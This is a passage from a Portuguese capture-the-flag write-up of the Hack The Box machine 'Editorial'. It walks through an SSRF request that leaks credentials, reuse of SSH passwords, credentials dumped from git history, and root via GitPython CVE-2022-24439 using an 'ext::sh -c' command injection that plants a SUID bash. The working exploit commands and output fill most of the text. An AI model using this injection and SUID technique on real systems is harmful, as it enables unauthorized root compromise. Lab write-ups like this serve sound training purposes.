/api/latest/metadata/messages/authors
/api/latest/metadata/messages/how_to_use_platform
/api/latest/metadata/changelog
/api/latest/metadata

Das rotas extraídas, o endpoint /authors revelou-se particularmente interessante. Ao acessá-lo, obtive um arquivo JSON que continha uma credencial de acesso.

Requisição no Burp:

...<SNIP>...

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost:5000/api/latest/metadata/messages/authors
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

Conteúdo do arquivo gerado:

┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat /home/kali/Downloads/6501b91b-5b07-4e91-8d06-a9abc37fa34c | jq | tee authors.json
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}

Identifiquei as seguintes credenciais:

  • Username: dev

  • Password: dev080217_devAPI!@

Acesso ao Alvo via SSH

Sabendo que a porta 22 (SSH) estava aberta no alvo, utilizei essas credenciais para tentar acesso via SSH e, para minha surpresa, funcionaram perfeitamente.

┌──(root㉿attacker)-[/home/kali/CTF]
└─# ssh dev@editorial.htb
dev@editorial.htb's password: 
dev@editorial:~$ hostname -I
10.10.11.20 

Com o acesso garantido ao sistema como usuário dev, consegui finalmente capturar a user flag:

dev@editorial:~$ cat user.txt 
a8b6ef2bb669065c9423a721df5e3e10

Movimentação Lateral - Dumping Git Secrets

Após ganhar acesso inicial com a conta dev, comecei a explorar o sistema para identificar possíveis caminhos de movimentação lateral. Primeiramente, observei os usuários configurados no sistema:

dev@editorial:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

Além do usuário dev, havia um outro usuário chamado prod, que parecia ser uma conta relevante, provavelmente ligada ao ambiente de produção do sistema. O próximo passo foi inspecionar os diretórios dos usuários:

dev@editorial:~$ ls -la /home/
total 16
drwxr-xr-x  4 root root 4096 Jun  5 14:36 .
drwxr-xr-x 18 root root 4096 Jun  5 14:54 ..
drwxr-x---  5 dev  dev  4096 Oct 20 13:32 dev
drwxr-x---  5 prod prod 4096 Jun  5 14:36 prod

Notei que o diretório do usuário prod estava presente, mas eu não tinha permissão de acesso direto. No entanto, ao explorar o diretório do usuário dev, encontrei uma pasta .git, que indicava que um projeto estava sendo versionado com Git. Esta é uma pista importante, pois commits de código às vezes podem expor informações sensíveis.

dev@editorial:~$ ls -la apps/.git/
total 52
drwxr-xr-x  8 dev dev 4096 Oct 20 09:16 .
drwxrwxr-x  3 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 branches
-rw-r--r--  1 dev dev  253 Jun  4 11:30 COMMIT_EDITMSG
-rw-r--r--  1 dev dev  177 Jun  4 11:30 config
-rw-r--r--  1 dev dev   73 Jun  4 11:30 description
-rw-r--r--  1 dev dev   23 Jun  4 11:30 HEAD
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 hooks
-rw-rw-r--  1 dev dev  134 Oct 20 09:14 index
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 info
drwxr-xr-x  3 dev dev 4096 Jun  5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun  5 14:36 objects
drwxr-xr-x  4 dev dev 4096 Jun  5 14:36 refs

A partir dessa informação, decidi investigar os commits realizados, na esperança de encontrar informações úteis para avançar. Exibi o histórico de commits com o comando git log e percebi várias mudanças importantes no código relacionadas à API do sistema.

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.

Entre esses commits, o que mais chamou minha atenção foi o commit 1e84a036b2f33c59e2390730699a488c65643d28, que mencionava a criação de uma API contendo informações internas sobre o editorial. Exibindo o conteúdo do commit com o comando git show, eu encontrei algo extremamente valioso: credenciais de acesso para o usuário prod!

dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
...<SNIP>...
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+    app.run(host='127.0.0.1', port=5001, debug=True)

Aqui estavam as credenciais de acesso para o usuário prod:

  • Username: prod

  • Password: 080217_Producti0n_2023!@

Decidi testar essas credenciais para ver se poderia migrar para a conta prod. Para minha satisfação, a senha funcionou, me permitindo realizar a movimentação lateral para a conta prod usando o comando su.

dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)

Com a conta prod, agora eu tinha acesso a novos recursos e possivelmente mais privilégios no sistema.

Escalada de Privilégios via CVE-2022-24439

Após obtermos acesso ao usuário prod, decidi verificar as permissões de sudo que ele possuía. Ele pode rodar um script Python específico como root, o que poderia ser a chave para escalar privilégios. Executando o comando sudo -l, vejo que prod pode executar o script /opt/internal_apps/clone_changes/clone_prod_change.py com qualquer argumento:

prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

Fui analisar o conteúdo do script para entender melhor como ele funciona. O script em si é bastante simples, basicamente clona um repositório de uma URL especificada:

prod@editorial:/home/dev/apps$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

No entanto, com o uso do sudo sendo restringido por variáveis como env_reset e secure_path, parecia difícil encontrar um ponto de hijacking no script. Contudo, notei que ele utilizava a biblioteca GitPython.

Verifiquei os pacotes Python instalados no host e confirmei que a versão 3.1.29 da biblioteca GitPython estava instalada:

prod@editorial:/home/dev/apps$ pip list | grep -i git

gitdb                 4.0.10
GitPython             3.1.29

Pesquisando sobre esta versão da biblioteca, descobri que ela era vulnerável a um problema grave de Remote Code Execution (RCE) devido à forma como ela tratava as URLs dos repositórios Git. Essa vulnerabilidade foi corrigida na versão 3.1.30, mas o host ainda estava rodando a versão anterior.

O CVE associado a esta falha era o CVE-2022-24439, que permitia injeção de comandos ao fornecer uma URL maliciosa para o comando clone:

Temos a seguinte instrução:

How to fix?

Upgrade GitPython to version 3.1.30 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to git without sufficient sanitization of input arguments. This is only relevant when enabling the ext transport protocol.

PoC

from git import Repo
r = Repo.init('', bare=True)
r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])

Testei a PoC injetando o comando que cria um arquivo chamado "pwned" no diretório /tmp:

prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/.../pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/.../pwned new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

O comando retornou um erro relacionado ao Git, mas é apenas um erro superficial. Verificando o diretório /tmp vemos que o arquivo "pwned" foi criado com sucesso, e o dono era o root:

prod@editorial:/tmp/...$ ls -la pwned 
-rw-r--r-- 1 root root 0 Oct 20 16:20 pwned

Sabendo que era possível executar comandos como root, aproveitei para injetar um comando mais útil. Criei um script Bash que copiava o binário /bin/bash para o diretório /tmp com permissão SUID, garantindo que ele pudesse ser executado como root posteriormente:

prod@editorial:/tmp/...$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash' | tee /tmp/.../bash.sh; chmod +x /tmp/.../bash.sh; echo; ls -la bash.sh
#!/bin/bash
cp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash

-rwxrwxr-x 1 prod prod 111 Oct 20 16:23 bash.sh

O script foi salvo como bash.sh, e com o mesmo processo de injeção, executei o script como root:

prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/.../bash.sh'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /tmp/.../bash.sh new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'

Mais uma vez, o comando retornou o mesmo erro de GitCommandError, mas o script foi executado com sucesso. Verifiquei o diretório /tmp e, como esperado, o binário brunobash foi criado com as permissões corretas:

prod@editorial:/tmp/...$ ls -la brunobash 
-rwsrwsrwx 1 root root 1396520 Oct 20 16:24 brunobash

Agora, ao executar esse binário com a permissão SUID, obtive uma shell como root:

prod@editorial:/tmp/...$ ./brunobash -p
brunobash-5.1# whoami
root

Com a shell de root, o próximo passo foi localizar e ler a flag root.txt:

brunobash-5.1# cat /root/root.txt 
ffe72a3ffd1ffaeb7826f2ac5fd41b63

Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

is a python library used to interact with Git repositories

https://0xdf.gitlab.io/cheatsheets/404#flask
https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858
GitPython
image.png
https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30
https://hackthebox.com/machines/Editorial